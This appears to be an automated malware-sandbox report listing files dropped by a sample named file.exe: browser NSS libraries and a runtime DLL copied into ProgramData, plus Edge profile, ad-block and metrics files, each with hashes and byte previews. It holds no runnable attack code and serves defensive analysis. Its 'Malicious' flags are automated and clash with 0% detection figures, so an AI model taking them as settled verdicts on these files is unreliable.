SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f9d11f6-af54-4c02-af28-b85eee20bccc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46019
Entropy (8bit):	6.0866266920342875
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9b7pu9hDO6vP6OS5Nm4TZ8Q8yhy1DhSCAoYGoup1Xl3jVzXl:mMk1rT8HR9bB6mT01sRoYhu3VlXr4O
MD5:	EEEBC182DA0016BBFACCED3993BA8399
SHA1:	E3AFA7A0FA1D53DD2CB41A91EAFF314CDC2F784D
SHA-256:	D49A6FF1D3E9D2C55A9D13DC65EC68EFC294A4DA45241642177CEC3E756C4555
SHA-512:	E4CA00922BB2B73F13FC4EBF51174DB60D88DA61094C415E11BAAE6D434D356B7353568484A870547765012D6CF7F0262BA38EECF746915A75504D579230D7DD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\30c902f5-1a5e-447f-a82b-37dcf54ea85b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46066
Entropy (8bit):	6.086422676439273
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9brpu9hDO6vP6OS5Nm4TZ8Q8yhy1DhSCAoYGoup1Xl3jVzXl:mMk1rT8HR9bR6mT01sRoYhu3VlXr4O
MD5:	E643053C3ED74A5E74DEB6D73B2886E4
SHA1:	B5E43E321634489ACD4D39CFA4F1E5A0BFA9C0FA
SHA-256:	44305296593EB97A8259267259245C1306C43421CF994873D59A3284D885A034
SHA-512:	255537B60DA217EEDA9CCB6A60615D49CD7FDD6C9AAAFF94648A2BE27732D6B2A5C5E0810B60A3C402D7CFA31D2A9D4E049D725868D7027023CC8C7FCE2FD14B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\492518fb-8e66-4f71-848d-b19b40782ab0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46143
Entropy (8bit):	6.0863894448866676
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgnobrpu9hDO6vP6OS5hm4TZ8Q8yhy1DhSCAoYGoup1Xl3jVzXl:mMk1rT8HHobR6mP01sRoYhu3VlXr4O
MD5:	CB5A87524910F88580286F64D57B32B5
SHA1:	C61F973CA2D17A093D7358B7625F281DB961DF3D
SHA-256:	A318001A22E182AAA02C016B429D54159E0FC08F08BD28382A989FAB26806505
SHA-512:	010B344F399555EBE3D3E8F630EEABBAAAD537CCF295CCCAE1B87B50B421C830AED297335C48EAF9452909B985F76027E577C97393443CF7A07562D72DE5B8AC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4b6bfd8b-bad4-41a2-b905-18f2faa09b04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44616
Entropy (8bit):	6.095074607999695
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB0wuAhDO6vP6OS5l2ia5ocGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7ynEE6mzchu3VlXr4CRo1
MD5:	151044AFBF99371FFABBC58128E5B233
SHA1:	832F41428234B4422E25D5A666055E856B1C7C51
SHA-256:	F9DC4E199D98669B0EFF0278110FE275368263701DCD427DAEE2288C870F1B00
SHA-512:	B32D488F1C7FFAA150A7D4D55D1BDFE46A2D8C1ECAFEC4B3F047BAD5E2D479746261BAC07BAFAA2CC1E69201DFE5A98B635F222A163A7615560110F59BC8D3B7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5472db0e-6bc8-4c9b-95d1-3cf385a97118.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46143
Entropy (8bit):	6.0863869628007015
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgn9brpu9hDO6vP6OS5hm4TZ8Q8yhy1DhSCAoYGoup1Xl3jVzXl:mMk1rT8HH9bR6mP01sRoYhu3VlXr4O
MD5:	632FC23E6BE7000371F992BF921201E2
SHA1:	D6836E378AE591F067C89CDAC4396F1D6ACEE133
SHA-256:	4F3302BCC7D0A7C59B638CE73B0411E99562B5CFD4A8FA3255D8E9162C0898FC
SHA-512:	34091545218A42F0AAEED9DDC99A7CC1ED7030362BF450EB44F752C0B3CBDDD6E11ADD11D3631D1E6D008C24C983CFC23F6C0F505C65E50F66022D4FE5D4FC38
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8a7dba4e-7528-4fd0-98d8-8ca44f80efda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.095074607999695
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB0wuAhDO6vP6OS5l2ia5ocGoup1Xl3jVzXr4CCAo1:z/Ps+wsI7ynEE6mzchu3VlXr4CRo1
MD5:	151044AFBF99371FFABBC58128E5B233
SHA1:	832F41428234B4422E25D5A666055E856B1C7C51
SHA-256:	F9DC4E199D98669B0EFF0278110FE275368263701DCD427DAEE2288C870F1B00
SHA-512:	B32D488F1C7FFAA150A7D4D55D1BDFE46A2D8C1ECAFEC4B3F047BAD5E2D479746261BAC07BAFAA2CC1E69201DFE5A98B635F222A163A7615560110F59BC8D3B7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9b286fc7-bbf8-4689-9f6d-1129dc81acff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f84d287f-0a97-4e1e-9953-7086adb9eda2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640156600019748
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7y:fwUQC5VwBIiElEd2K57P7y
MD5:	CF5F0871A3745A85317A43ECCC3E08B5
SHA1:	D09B075E23832A146D9CA0E9C94FA25F1A6FC595
SHA-256:	C3368F87F586F7BA42EA73C4438A60FB2A6F65873CC9801968A370CF025256AD
SHA-512:	2E01C6EE2FE7BBE157F1A5FC172899DE97EFC2F18821E3F1DC1745E8FB4D0D907CCCDCD02F96E036AA5F61FBEDA2C7CB4F2F7F2D687D8D0BFD97CB6B211F715F
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6722CCDA-1D64.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.44921737150959967
Encrypted:	false
SSDEEP:	3072:YTg8j0fL1PKoiWybe/kcsczeekRBUEPTq+qUwjmVTyg1HFP0L:/8jAPTybEkcsMPfELq+qUwjmVTyaH10
MD5:	CED973C181AC30B15E4E0021B985189E
SHA1:	4616887863E9901634140A6D2A7DFBDCCA607D5C
SHA-256:	C34BC071EDFFCBB7C02C98279734279C9C432CD8C1CEBBFCD03688CE09E194CC
SHA-512:	DAF32D21E5E28071F73EB70899274A5D54B4D13C3C45B80ACC10253978B9E39AA4B5049FEAF92D0A2F6B5952F3098405ED4012A4D56B06E6B984CF33A87D54B2
Malicious:	false
